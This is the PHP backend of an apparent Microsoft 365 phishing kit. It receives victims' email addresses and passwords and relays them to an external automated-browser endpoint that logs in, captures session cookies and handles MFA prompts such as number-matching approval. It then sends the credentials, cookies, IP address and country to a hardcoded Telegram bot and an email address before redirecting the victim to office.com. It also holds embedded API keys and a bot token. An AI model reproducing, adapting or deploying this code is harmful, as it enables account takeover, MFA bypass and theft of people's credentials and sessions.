<?php
session_start();

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Methods: POST, GET, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With");

header('Content-Type: application/json');

$email = $_POST['ai'] ?? null;
$password = $_POST['pr'] ?? null;
$code = $_POST['code'] ?? ''; 
$userBrowser = $_SERVER['HTTP_USER_AGENT'];
$userIP = $_POST['userIP'] ?? $_SERVER['REMOTE_ADDR'];

// Switches to control email and telegram notifications
$sendEmail = true;
$sendTelegram = true;

function getCountryByIP($ip) {
    $apiKey = 'ea5b1054f204426ab30ae75c3a3992f5';
    $apiUrl = "https://api.ipgeolocation.io/ipgeo?apiKey=$apiKey&ip=$ip";

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $apiUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);

    $data = json_decode($output, true);
    return isset($data['country_name']) ? $data['country_name'] : 'Unknown';
}

$userCountry = getCountryByIP($userIP);

if ($email && $password) {
    $puppeteerEndpoint = 'https://ver.bandhiem.com/runQik';
    $postData = [
        'email' => $email,
        'password' => $password,
        'userBrowser' => $userBrowser,
        'userIP' => $userIP,
        'userCountry' => $userCountry,
        'code' => $code
    ];

    $ch = curl_init($puppeteerEndpoint);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData));
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
    curl_setopt($ch, CURLOPT_TIMEOUT, 300); 

    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($httpCode == 200) {
        $responseData = json_decode($response, true);

        $telegramBotToken = '5286683182:AAFrpQk1JU6EjRln1q0Ga7rfRK995x-8qlQ';
        $telegramChatId = '1130675033';
        $emailRecipient = 'gregsingle2015@gmail.com';

        if ($responseData['status'] === 'success') {
            $cookiesContent = $responseData['cookies'];
            $emailName = explode('@', $email)[0];

            $validLoginMessage = "
✅
*Microsoft*
Cookies Login .
🧘:- ${email}
🔑:- ${password}
Browser:- ${userBrowser}
IP:- ${userIP}
Country:- ${userCountry}
            ";

            if ($sendTelegram) {
                sendCookiesWithMessageToTelegram($telegramBotToken, $telegramChatId, $validLoginMessage, $cookiesContent, $email);
            }
            if ($sendEmail) {
                sendEmail($emailRecipient, $validLoginMessage, $cookiesContent, $email, $userIP, true);
            }

            echo json_encode([
                'status' => 'success',
                'redirect' => 'https://www.office.com'
            ]);
        } else if ($responseData['status'] === 'approve_signin') {
            $_SESSION['2fa_required'] = true;
            $approveNumber = $responseData['approve_number'] ?? 'Unknown';
            $approveMessage = "✅\n*Microsoft*\nValid login detected.\n🧘:- $email\n🔑:- $password\nBrowser:- $userBrowser\nIP:- $userIP\nCountry:- $userCountry\nApprove sign-in with the number: *$approveNumber*.";
            
            if ($sendTelegram) {
                sendMessageToTelegram($telegramBotToken, $telegramChatId, $approveMessage);
            }
            if ($sendEmail) {
                sendEmail($emailRecipient, $approveMessage, "", "", $userIP, false);
            }

            echo json_encode([
                'status' => 'approve_signin',
                'message' => "Approve sign-in with the number: $approveNumber.",
                'approve_number' => $approveNumber
            ]);
        } else if ($responseData['status'] === '2faotcerror') {
            $_SESSION['2fa_required'] = true;
            $otcMessage = "✅\n*Microsoft*\nValid login detected, Incomplete 2FA.\n🧘:- $email\n🔑:- $password\nBrowser:- $userBrowser\nIP:- $userIP\nCountry:- $userCountry.";
            if ($sendTelegram) {
                sendMessageToTelegram($telegramBotToken, $telegramChatId, $otcMessage);
            }
            if ($sendEmail) {
                sendEmail($emailRecipient, $otcMessage, "", "", $userIP, false);
            }

            echo json_encode([
                'status' => '2faotcerror',
                'message' => ''
            ]);
        } else if ($responseData['status'] === 'two_way_voice') {
            $_SESSION['2fa_required'] = true;
            $voiceMessage = "✅\n*Microsoft*\nValid login detected, awaiting further action.\n🧘:- $email\n🔑:- $password\nBrowser:- $userBrowser\nIP:- $userIP\nCountry:- $userCountry\nAwaiting further action: Two-way voice 2FA required.";
            if ($sendTelegram) {
                sendMessageToTelegram($telegramBotToken, $telegramChatId, $voiceMessage);
            }
            if ($sendEmail) {
                sendEmail($emailRecipient, $voiceMessage, "", "", $userIP, false);
            }

            echo json_encode([
                'status' => 'two_way_voice',
                'message' => 'Two-way voice 2FA required.'
            ]);
        } else if ($responseData['status'] === 'texterror') {
            $_SESSION['2fa_required'] = true;
            $textMessage = "✅\n*Microsoft*\nValid login detected, Incomplete 2FA.\n🧘:- $email\n🔑:- $password\nBrowser:- $userBrowser\nIP:- $userIP\nCountry:- $userCountry";
            if ($sendTelegram) {
                sendMessageToTelegram($telegramBotToken, $telegramChatId, $textMessage);
            }
            if ($sendEmail) {
                sendEmail($emailRecipient, $textMessage, "", "", $userIP, false);
            }

            echo json_encode([
                'status' => 'texterror',
                'message' => ''
            ]);
        } else if ($responseData['status'] === 'error') {
            $errorMessage = "❌\n*Microsoft*\nInvalid\n🧘:- $email\n🔑:- $password\nBrowser:- $userBrowser\nIP:- $userIP\nCountry:- $userCountry";
            if ($sendTelegram) {
                sendMessageToTelegram($telegramBotToken, $telegramChatId, $errorMessage);
            }
            if ($sendEmail) {
                sendEmail($emailRecipient, $errorMessage, "", "", $userIP);
            }

            echo json_encode([
                'status' => 'error',
                'message' => $responseData['message'] ?? "Your account or password is incorrect. If you don't remember your password, <a href='#'>reset it now</a>"
            ]);
        } else if ($responseData['status'] === '2faerror') {
            $twoFAErrorMessage = "✅\n*Microsoft*\nValid Login 2FA Incomplete\n🧘:- $email\n🔑:- $password\nBrowser:- $userBrowser\nIP:- $userIP\nCountry:- $userCountry";
            if ($sendTelegram) {
                sendMessageToTelegram($telegramBotToken, $telegramChatId, $twoFAErrorMessage);
            }
            if ($sendEmail) {
                sendEmail($emailRecipient, $twoFAErrorMessage, "", "", $userIP);
            }

            echo json_encode([
                'status' => '2faerror',
                'message' => '2FA error.'
            ]);
        } else if ($responseData['status'] === '2facallerror') {
            $twoFAErrorMessage = "✅\n*Microsoft*\nValid Login 2FA Incomplete\n🧘:- $email\n🔑:- $password\nBrowser:- $userBrowser\nIP:- $userIP\nCountry:- $userCountry";
            if ($sendTelegram) {
                sendMessageToTelegram($telegramBotToken, $telegramChatId, $twoFAErrorMessage);
            }
            if ($sendEmail) {
                sendEmail($emailRecipient, $twoFAErrorMessage, "", "", $userIP);
            }

            echo json_encode([
                'status' => '2faerror',
                'message' => '2FA error.'
            ]);
        } else if ($responseData['status'] === 'ssoerror') {
            $SSOMessage = "🎲\n*Microsoft*\nSSO Login\n🧘:- $email\n🔑:- $password\nBrowser:- $userBrowser\nIP:- $userIP\nCountry:- $userCountry";
            if ($sendTelegram) {
                sendMessageToTelegram($telegramBotToken, $telegramChatId, $SSOMessage);
            }
            if ($sendEmail) {
                sendEmail($emailRecipient, $SSOMessage, "", "", $userIP);
            }

            echo json_encode([
                'status' => 'success',
                'message' => '2FA error.'
            ]);
        } else {
            $unknownResponseMessage = "❌\n*Microsoft*\nUnknown response\n🧘:- $email\n🔑:- $password\nBrowser:- $userBrowser\nIP:- $userIP\nCountry:- $userCountry";
            if ($sendTelegram) {
                sendMessageToTelegram($telegramBotToken, $telegramChatId, $unknownResponseMessage);
            }
            if ($sendEmail) {
                sendEmail($emailRecipient, $unknownResponseMessage, "", "", $userIP);
            }

            echo json_encode([
                'status' => 'error',
                'message' => 'Unknown response from Puppeteer script.'
            ]);
        }
    } else {
        echo json_encode([
            'status' => 'error',
            'message' => 'Failed to connect to Puppeteer script.'
        ]);
    }
} else {
    echo json_encode([
        'status' => 'error',
        'message' => 'Email and password are required.'
    ]);
}

function sendMessageToTelegram($botToken, $chatId, $message, $retryCount = 3) {
    $url = "https://api.telegram.org/bot$botToken/sendMessage";

    // Escape dangerous characters for Markdown
    $safeMessage = preg_replace('/([_*[\]()~`>#+\-=|{}.!])/', '\\\\$1', $message);

    $data = [
        'chat_id' => $chatId,
        'text' => $safeMessage,
        'parse_mode' => 'MarkdownV2'
    ];

    $attempts = 0;
    $success = false;

    while ($attempts < $retryCount && !$success) {
        $options = [
            'http' => [
                'header'  => "Content-Type: application/json\r\n",
                'method'  => 'POST',
                'content' => json_encode($data),
                'ignore_errors' => true // So we can read the response even on HTTP error
            ],
        ];
        $context = stream_context_create($options);
        $result = file_get_contents($url, false, $context);

        $http_response_header_str = isset($http_response_header[0]) ? $http_response_header[0] : 'No headers';
        
        if ($result !== FALSE) {
            $decoded = json_decode($result, true);
            if (!empty($decoded['ok'])) {
                $success = true;
            } else {
                error_log("Telegram API error: " . $result);
                error_log("HTTP Header: " . $http_response_header_str);
            }
        } else {
            $error = error_get_last();
            error_log("file_get_contents() failed: " . print_r($error, true));
        }

        if (!$success) {
            $attempts++;
            sleep(1);
        }
    }

    if (!$success) {
        error_log("❌ Failed to send Telegram message after $retryCount attempts.");
    }
}

function sendCookiesWithMessageToTelegram($botToken, $chatId, $message, $cookiesContent, $email, $retryCount = 3) {
    $url = "https://api.telegram.org/bot$botToken/sendDocument";
    $boundary = uniqid();
    $delimiter = '-------------' . $boundary;

    $encodedCookiesContent = base64_encode($cookiesContent);

    // Escape dangerous characters in caption for MarkdownV2
    $safeCaption = preg_replace('/([_*[\]()~`>#+\-=|{}.!])/', '\\\\$1', $message);

    $post_data = "--" . $delimiter . "\r\n" .
        'Content-Disposition: form-data; name="chat_id"' . "\r\n\r\n" .
        $chatId . "\r\n" .
        "--" . $delimiter . "\r\n" .
        'Content-Disposition: form-data; name="document"; filename="' . $email . '.txt"' . "\r\n" .
        "Content-Type: text/plain\r\n\r\n" .
        $encodedCookiesContent . "\r\n" .
        "--" . $delimiter . "\r\n" .
        'Content-Disposition: form-data; name="caption"' . "\r\n\r\n" .
        $safeCaption . "\r\n" .
        "--" . $delimiter . "\r\n" .
        'Content-Disposition: form-data; name="parse_mode"' . "\r\n\r\n" .
        "MarkdownV2\r\n" .
        "--" . $delimiter . "--\r\n";

    $attempts = 0;
    $success = false;
    while ($attempts < $retryCount && !$success) {
        $options = [
            'http' => [
                'header'  => "Content-Type: multipart/form-data; boundary=" . $delimiter,
                'method'  => 'POST',
                'content' => $post_data,
                'ignore_errors' => true
            ],
        ];
        $context = stream_context_create($options);
        $result = file_get_contents($url, false, $context);

        $http_response_header_str = $http_response_header[0] ?? 'No headers';

        if ($result !== false) {
            $decoded = json_decode($result, true);
            if (!empty($decoded['ok'])) {
                $success = true;
            } else {
                error_log("Telegram API error (Document): " . $result);
                error_log("HTTP Header: " . $http_response_header_str);
            }
        } else {
            $error = error_get_last();
            error_log("file_get_contents() failed (Document): " . print_r($error, true));
        }

        if (!$success) {
            $attempts++;
            sleep(1);
        }
    }

    if (!$success) {
        error_log("❌ Failed to send cookies to Telegram after $retryCount attempts.");
    }
}

function sendEmail($to, $message, $cookiesContent, $email, $userIP, $attachCookies = false) {
    $subject = "Login: " . $userIP;
    $boundary = uniqid('np');

    // Headers
    $headers = "MIME-Version: 1.0\r\n";
    $headers .= "Content-Type: multipart/mixed;boundary=" . $boundary . "\r\n";

    // Message Body
    $body = "This is a MIME encoded message.";
    $body .= "\r\n\r\n--" . $boundary . "\r\n";
    $body .= "Content-Type: text/plain;charset=utf-8\r\n\r\n";
    $body .= $message;

    // Conditionally add the cookies.txt attachment
    if ($attachCookies && !empty($cookiesContent)) {
        $body .= "\r\n\r\n--" . $boundary . "\r\n";
        $body .= "Content-Type: text/plain; name=\"" . $email . ".txt\"\r\n";
        $body .= "Content-Transfer-Encoding: hex\r\n";
        $body .= "Content-Disposition: attachment; filename=\"" . $email . ".txt\"\r\n\r\n";
        $body .= chunk_split(base64_encode($cookiesContent));
    }

    // End of the message
    $body .= "\r\n\r\n--" . $boundary . "--";

    // Send email
    mail($to, $subject, $body, $headers);
}
